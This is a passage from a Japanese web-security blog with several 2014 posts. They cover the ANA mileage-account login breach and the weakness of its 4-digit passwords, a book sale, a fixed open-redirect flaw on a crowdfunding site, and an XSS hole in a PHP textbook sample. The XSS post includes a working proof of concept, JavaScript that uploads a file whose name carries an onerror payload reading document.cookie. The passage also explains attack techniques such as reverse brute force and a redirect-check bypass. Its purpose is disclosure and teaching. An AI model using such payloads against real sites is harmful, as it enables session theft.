  • アカウントロックされた状態でも認証連携ではログインできる
  • 意図的にアカウントロックを活用した裏技があるが、推奨するわけではない
  • 特定の利用者を狙ったパスワード攻撃が成功する確率は 0.1% であり、この確率を減らす方法は(裏技は別として)利用者にはない
  • 不正ログインから時間をおいてマイルを窃取する攻撃に対してはパスワードの定期的変更が一定の効果があるが、もっと良い方法はマイルが貯まったら直ちに交換すること
ANAに対する要望は以下の通りです。
  • 不正ログインの全容(被害者の数など)を早く公開して欲しい
  • 不正ログインされた利用者には個別にその旨を連絡するか、不正ログインの有無を確認する機能を実装して欲しい
  • ログイン通知機能やログイン履歴閲覧機能を実装して欲しい
  • アカウントロックのメール通知を実装して欲しい
  • パスワードの仕様をすぐに変更できない場合は、パスワード認証の停止などの代替策を早期に実装して欲しい
  • パスワードの仕様を安全なものに変更して欲しい

ANAのサイトは、心配だから使わないということは難しいわけで、一利用者として早期の改善を希望致します。

2014年3月14日金曜日

徳丸本Kindle版が半額(1,400円)となるキャンペーン始まりました

拙著「体系的に学ぶ 安全なWebアプリケーションの作り方 脆弱性が生まれる原理と対策の実践」のKindle版が、本日から2週間、半額の1,400円でお買い求めいただけるキャンペーンが始まりました。

参考: 【電子書籍】4社共同IT書キャンペーン実施!
※キャンペーンはAmazonのKindleのみで実施しています。
※キャンペーンは2014/3/27まで実施の予定ですが、都合により早めに終了することがあります。
徳丸本電子版をまだお持ちでない方は、この機会に購入をご検討ください。

ただし、徳丸本電子版は、Kindle版以外にPDF版もあります。PDF版の割引キャンペーンはありませんが、Kindle版に対して下記のメリットがあります。
  • DRMフリー
  • 検索が可能
  • PC、Macなど様々な端末での閲覧が可能
  • 印刷、コピペ等の制限解除
  • 将来にわたる閲覧の保証
Kindle版に関しては、下記の注もお読みください。
※この商品は固定レイアウトで作成されており、タブレットなど大きなディスプレイを備えた端末で読むことに適しています。また、文字列のハイライトや検索、辞書の参照、引用などの機能が使用できません。
とにかく安いものが欲しい、あるいはKindleでぜひ読みたいという方はKindle版を、通常価格でもPDF版のメリットが欲しい方はPDF版を購入されるとよいと思います…が、最終的に読者の判断で決めていただければと思います。
皆様のご愛読に感謝申し上げます。ありがとうございました。

PDF版の購入はこちら
Kindle版は購入はこちら

2014年3月13日木曜日

ANAの不正ログイン事件について徳丸さんに聞いてみた

高橋: こんにちは、高橋です。先月に引き続き徳丸さんをお招きして、今度はANAの不正ログイン事件についてお話を伺います。徳丸さん、よろしくお願いします。

徳丸: 徳丸です。よろしくお願いします。

高橋: まず、事件の概要を説明します。「ANAマイレージクラブ」のWebサイトに不正ログインがあり、顧客9人のマイレージ、総計112万マイルがiTunesギフトコードに勝手に交換されていたとするものです。当初顧客の通報で発覚した点はJALの場合と同じですね(参考)。

徳丸: で、私はなにをしゃべればいいのですかね。お招きいただいたので出てきましたが、パスワードがJALは数字6桁、ANAは4桁ですが、それ以外はあまり変わらないのですよね。

高橋: JAL、ANAと事件が続きましたが、攻撃手口は見えてきていないのでしょうか?

徳丸: 公式発表も報道もあまり情報がないので確定的なことは言えないのですが、最近気づいたことがあります。

高橋: それそれ、教えて下さいよ。

徳丸: パスワードを狙った攻撃というと、パスワードが分かったらすぐに悪用すると思いませんか?

高橋: はい。違うのですか?

徳丸: 違うかもなと思い始めたのです。悪用するとバレやすくなりますから。

高橋: 結局ばれるんじゃないのですか? 今回も発覚はしていますよ。

徳丸: はい。ですが、最初の一人でばれると、悪人のもうけが減るじゃないですか。

高橋: はー。すぐ悪用しないとすると、どうだったと推測されますか?

徳丸: JALとANAの事件では、以下のプロセスが必要ですが、1と2は続けてやるとして、攻撃対象のアカウントをためておいて、3は後でまとめて実行した可能性があります。

  1. ログイン画面でパスワードを試行する
  2. ログインできたユーザのマイルの残高を確認する
  3. マイルを悪用する

高橋: 続けて実行するのとどう違いますか?

徳丸: 今回の事件でも、利用者からの通報で発覚しましたが、不正ログインしてマイル残高を確認するまでであれば、利用者は不正を知る術がないのですよ。

高橋: そういえば、そうですね。私のアカウントは大丈夫かしら。

徳丸: ひょっとするとログインまでは成功していて、マイルが少ないから何もされていないだけかもしれませんね。

高橋: あら、どうしましょ。パスワードを変更した方がいいかしら?

徳丸: まだ変更していないのですか?

高橋: だって、数字4桁のパスワード変更しても無意味、みたいなツイートが多かったし…

徳丸: それはきっと、パスワードを変更しても安全になるわけではないという意味でしょう。現に攻撃が起こっていて、パスワードがばれているかもしれないので、パスワードを変更することで、パスワードがばれていない状態にする、という意味はあります。

高橋: そうなのですか。ANAのサイトには、「会員の皆様に安心してサービスをご利用いただくため、AMCのパスワード変更のお手続きをお願いいたします」と書かれていた。ので、「パスワードが数字4桁のままで、どう変えたら安心できるの? ぷんぷくり~ん」と怒っていました。

徳丸: お怒りはごもっともですが、パスワードを変更する意味はあります。

高橋: 分かりました。それでは、パスワードの試行と悪用を分ける意味をもう少し詳しく説明いただけますか?

徳丸: はい。数字4桁のパスワード(暗証番号)とはいえ、パスワードの試行には、それなりに時間が掛かると思うのですよ。

高橋: どれくらい掛かりますか?

徳丸: それは分からないのですが、想定をおいて計算をしてみましょう。

高橋: お願いします。

徳丸: 現時点で悪用されたアカウントは9人ですが、ログイン成功したアカウントはずっと多いと予想されます。

高橋: 何故でしょうか?

徳丸: 奪われたマイル数が多いからですよ。9人で112万マイルということは、1人あたりの平均では12.4万マイルですよ。

高橋: それはすごいですね。私なんか、先日東京~札幌往復しましたが、1020マイルしか貯まってません。

徳丸: そういう利用者が大半だと思うのですよね。

高橋: それでは、マイル残高の多い利用者を狙ったということですか?

徳丸: はい。マイルを盗むと発覚の可能性が高まるので、マイル残高の多い利用者を一気に狙ったと予想します。

高橋: あー、なんか頭いい感じですね。

徳丸: パスワードがばれた利用者数はわかりませんが、ここでは300人と仮定しましょうか。パスワード試行1回で正答する確率は1万分の1ですから、単純計算で300万回パスワードを試行した計算になります。

高橋: 数字がぶれる要素はどこでしょうか?

徳丸: 300人というのは根拠がありませんし、「1234」など利用者がつけそうな暗証番号を狙うと、もう少し確率は上がるでしょう?

高橋: えっ、1234はつけられるのですか? JALの時は、123456は禁止されていましたよね。

徳丸: はい。この画面を見て下さい。これは、ANAマイレージクラブのパスワード変更画面です。

高橋: パスワードの例として「0123」とありますね。

徳丸: これ、本当に0123にセットできるんです。1234もいけますよ。

高橋: ぎょえー

徳丸: ですが、300人の根拠もありませんので、そのまま計算を進めます。ログインの監視もあるのでむやみに試行のスピードがあげられないので、1秒間に1回パスワードを試すとすると、300万秒、すなわち約830時間で、これは約35日間です。

高橋: 35日間も監視でばれなかったのでしょうか?

徳丸: 元々利用者の多いサイトですし、リバースブルートフォース攻撃などで、かつ試行に用いるIPアドレスを分散すれば、監視は相当困難でしょうね。

高橋: あれ、JALの時も、そうだった可能性ありません?

徳丸: そうなんです。不正ログインのIPアドレスは単一だっという報道がありましたが、それ以前のログイン試行の時はIPアドレスを分散していて、悪用の際は単一のIPアドレスだった可能性はありますね。前回は、「JALは監視してなかったのでは?」なんて言ってしまい、すみませんでした(_ _)

高橋: 徳丸さん、憶測でものを言うときは気をつけないと。

徳丸: 面目ないです。

高橋: ともかく、ゆっくり時間を掛けてパスワードを収集して悪用は一気に実行した、というのが徳丸さんの推測なのですね。

徳丸: はい。もちろん根拠はありませんが、攻撃方法としては合理的だと思います。

高橋: 対策はありませんか?

徳丸: あります。JALの場合も、ANAの場合も、攻撃発覚は利用者の通報でしたよね。

高橋: はい。

徳丸: なので、利用者に攻撃を早期に伝えるという施策が有効です。

高橋: 具体的にはどのようなものでしょうか?

徳丸: ログイン履歴の表示とか、ログイン通知メールの送信ですね。

高橋: それを実施しているサイトはありますか?

徳丸: Yahoo!ジャパンがそうですね。こちらの「ログインアラート」と「ログイン履歴」が該当します。

高橋: 徳丸さん、Yahoo!のログインについては以前批判していませんでしたか?

徳丸: こちらの記事でしょうか? これはパスワードリセットに用いる「秘密の質問と回答」に関するもので、アカウントの保護全般に関しては、Yahoo!の機能は素晴らしいですよ。だから、なおのこと、残念だということで。

高橋: そうだったのですね。

徳丸: はい。JALもANAも、ログイン通知の機能があればもっと早期に発覚しただろうし、被害もずっと小さくなった可能性があります。

高橋: あー、それにしても、私のアカウント大丈夫かしら。

徳丸: とりあえずパスワードは変えましょうよ。そして、ログイン履歴の機能は早期に実現して欲しいですね。

高橋: それよりも、パスワードの仕様を変えて、もっと安全なものがつけられるようにすることが先決ではありませんか?

徳丸: ごもっともですが、大規模なシステムなので、パスワードの仕様を変えるとなるとオオゴトですよ。それはそれでやってもらうとして、緊急対処としてできることは早期に実行して欲しいです。

高橋: 他に実施できるものはありますか?

徳丸: あります。崎村さんから教えていただいたのですが、ANAはGoogle等と認証連携しているのですよ。

高橋: Googleでも認証できるということで、4桁暗証番号でもログインできると意味ないのでは?

徳丸: はい。なので、崎村さんが書いておられるように、パスワード認証を無効にする機能を追加できれば、Google等の2段階認証の機能を活用できることになります。

高橋: それはいいですね。

徳丸: ということで、タテマエ論としてはパスワードの仕様を早くなんとかしろというのは要求しつつ、すぐにできる対処もあるので回避策を早急に実施して欲しいですね。

高橋: ありがとうございました。これで、ANAの不正ログインに関する徳丸さんへのインタビューは終わりです。みなさま、ごきげんよう~

※注: このエントリはインタビュー仕立ての記事であり、文責はすべて徳丸にあります。高橋は架空の人物です。


2014年3月11日火曜日

cheeers! のオープンリダイレクタ脆弱性が修正された

クラウドファンディングサイトcheeers!にはオープンリダイレクタ脆弱性がありましたが、サイト運営者に連絡したところ修正されましたので報告します。

cheeers! のログイン画面は下記の通りですが、アドレスバーに注目ください。from=というクエリ文字列にURLをパーセントエンコードしたものがついています。


正しいIDとパスワードを入力してログインすると、このfromで指定されたURLに遷移ます。下記は遷移後の画面例です。


以上は正常系の流れですが、それではfrom=に、cheeers! とは無関係のURLを指定したらどうなるでしょうか。たとえば、from=https://twitter.com/HiromitsuTakagi/status/350971098248118272 と指定しておくと、ログイン成功後に下記の画面が表示されていました(現在は表示されません)。
— Hiromitsu Takagi (@HiromitsuTakagi) 2013, 6月 29

これはかなりドキッとしそうです。ひょっとすると、口に含んでいたコーヒーを手許のMacBook Airにぶちまけてしまうという「被害」も想定されますが、被害はこれにとどまりません。以下は、cheeers!のログイン失敗画面ですが、これとそっくりの「偽画面」を用意して、そこに遷移させるという攻撃が考えられます。


すると、大半の利用者はパスワードを間違えたと勘違いして、もう一度正しいID(メールアドレス)とパスワードを入力するでしょう。しかし、これは偽画面なので、IDとパスワードを盗まれてしまいます。その後正規の画面に遷移するので、パスワードを盗まれたことすら気づかないで、利用者は閲覧を続けるでしょう。フィッシングの一種ではありますが、起点となる画面が正規のものなので、注意深い人でもだまされやすいというところが問題です。

私はこの問題に3月7日(金)夜に気づきましたのでメールにて運営に報告したところ、3月10日(月)には状況が変化していました。具体的には、https://twitter.com/.... などのサイトには遷移しないようにチェックが入ったようですが、このチェックは不完全でした。具体的には、以下のようなURLはチェックを通ってしまう状況でした。
  • http://takeo.cheeers.jp.example.jp/
つまり、前方一致検査で、http://takeo.cheeers.jp までを確認していたようですが、正しくは、http://takeo.cheeers.jp/ まで(スラッシュまで)確認しなければ、上記のようなサブドメインを使った攻撃を許してしまうのでした。
この問題に昨夜気づきましたので、再度運営に連絡したところ、今日の午前中には修正されていました。

オープンリダイレクタは比較的よく見かける脆弱性ですので、読者の皆様もご注意ください。

なお、拙著体系的に学ぶ 安全なWebアプリケーションの作り方 脆弱性が生まれる原理と対策の実践には、4.7.1 オープンリダイレクタ(P184)として、脆弱性が混入する原因や対策方法について詳しく説明しています(宣伝)。

2014年3月10日月曜日

よくわかるPHPの教科書 PHP5.5対応版のクロスサイト・スクリプティング

たにぐちまことさんの よくわかるPHPの教科書がこのたび改版されて、よくわかるPHPの教科書 【PHP5.5対応版】として出版されました。旧版はmysql関数を使ってSQL呼び出ししていましたが、mysql関数がPHP5.5にて非推奨となったための緊急対処的な内容となっているようです。つまり、従来mysql関数を呼び出していた箇所をmysqliの呼び出しに変更したというのが、主な変更点のようで、これ以外はあまり変更点は見あたりません。

既に、Amazonでは、熱烈な読者の方からの詳細のレビューが届いています。
神本御降臨!
言わずと知れたPHPプログラミング書籍のロングセラー。
2010年9月に発売された前作の改訂版。
PHPのバージョンも最新の5.5に対応、内容は前作と殆ど同じ。
少し前に前作を購入した方も本書を購入した方がいいでしょう。
【中略】
それにしても、帯の「3万人に読まれた定番の入門書が・・」では、この偉大な書籍にしては謙遜している気が。
せめて「3万人に愛された伝説の入門書が・・・」とか「3万人の運命を変えた史上最強の入門書が・・・」と
書いても良いのではないでしょうか。
プログラミングの入門書でこれだけ支持・絶大な人気の書籍は他にないのですから。
引用元
たにぐちさんの人気はすごいなぁとあらためて思いながら読んでいると、意外にも私の名前もありました。
どうも、現役のバックエンドエンジニア達の反応や評価がよくわからない・・・
どう思っているのでしょうか?気になるところです。
(購入者自身が納得すれば良い話なので、意味がないかもしれませんが)
また、改訂版の本書に対して徳丸先生からの書評も待ちたいところです
召喚されてしまいましたw

まだ網羅的には調べ切れていませんが、現時点で1箇所興味深いクロスサイト・スクリプティング(XSS)を見つけましたので紹介します。

XSSをどうやって見つけたか

私は脆弱性を見つける際には、ソースを見るよりも先に動かしてみることが多いのですが、この脆弱性はソースのgrepで見つけました。サンプルソースをダウンロードして、以下のgrepコマンドの結果を眺めました。
$ grep -r echo *
すると、1箇所HTMLエスケープしていない箇所がありました。
part5-2_sample/join/check.php:        <img src="../member_picture/<?php echo $_SESSION['join']['image']; ?>" width="100" height="100" alt="" />
$_SESSION['join']['image']をエスケープしないで表示しているので、この時点で「局所的にXSSが存在」と言って良いかと思います。

攻撃経路はあるか?

しかし、セッション変数がインプットですので、攻撃経路があるかどうかを確認して見ましょう。この変数は下記でセットされています(part5-2_sample/join/index.php)。
// 画像をアップロードする
$image = date('YmdHis') . $_FILES['image']['name'];
move_uploaded_file($_FILES['image']['tmp_name'], '../member_picture/' . $image);

$_SESSION['join'] = $_POST;
$_SESSION['join']['image'] = $image;
利用者がアップロードしたファイルのファイル名がソースになっていますね。
「ファイル名なのでHTMLエスケープしない」という例は割合見かける気がします。その背景として、以下の心理があるのかもしれません。
  • ファイル名には「<」や「>」は使えないのでXSSはできない
  • ファイルアップロードのフォームではファイル名を外部から指定できない
しかし、これらはいずれも正しくありません。
まず、Unix/Linux/Mac OSではファイル名として「<」や「>」を使うことができます。それに、「<」や「>」を使わないXSS攻撃も可能です。
また、ファイルアップロードのフォームにてファイル名を外部から指定することもできます。これについては、下記のエントリを参照下さい。
ということで、このXSSは攻撃経路がある、ということになります。

実証

このXSSが発現することを以下のPoCで確認しました。JavaScriptはXMLHttpRequest Level2を利用してファイル名を " onerror=alert(document.cookie) gif にセットしています。そして、末尾近くのiframe要素で、XSSのあるcheck.phpを呼び出します。
<body>
<script>
  // 以下は送信するHTTPリクエストボディの中身
  // \n\ は改行(\n) と 継続行(行末の\)を示す
  data = '\
----BNDRY\n\
Content-Disposition: form-data; name="name"\n\
\n\
e\n\
----BNDRY\n\
Content-Disposition: form-data; name="email"\n\
\n\
e@example.jp\n\
----BNDRY\n\
Content-Disposition: form-data; name="password"\n\
\n\
pass\n\
----BNDRY\n\
Content-Disposition: form-data; name="image"; filename="\\" onerror=\'alert(document.cookie)\' gif"\n\
Content-Type: image/gif\n\
\n\
GIF87a\n\
----BNDRY--\n\
';

  var req = new XMLHttpRequest();
  req.open('POST', 'http://example.jp/join/');
  req.setRequestHeader('Content-Type', 'multipart/form-data; boundary=--BNDRY');
  req.withCredentials = true;
  req.send(data);
</script>
<iframe src="http://example.jp/join/check.php"></iframe>
</body>
生成されるimg要素は下記となります。src属性が「"」で閉じられ、onerror属性(イベント)が定義されています。
<img src="../member_picture/20140310092527" onerror='alert(document.cookie)' gif" width="100" height="100" alt="" />
画面は下記となり、確かにセッションクッキーが読み取られています。



対策

ここまで読んだ読者の中には、「こんなに高度な攻撃のことまで考慮しなければならないのか」と疑問を持った方がおられるかもしれませんが、そうではありません。攻撃経路があるかないかに関わらず、淡々と、HTML出力時にエスケープ処理を入れるだけで対策は終わりです。

すなわち、「高度なことを考慮する必要がある」ということではなく、「中途半端に高度なことを考えてしまったので対策漏れが生じた」と言えます。

この脆弱性は、攻撃には高度なワザが必要だが、対策は平凡、というありがちな例と言えるでしょう。局所的な対策をもれなく実施することが重要です。

フォロワー

ブログ アーカイブ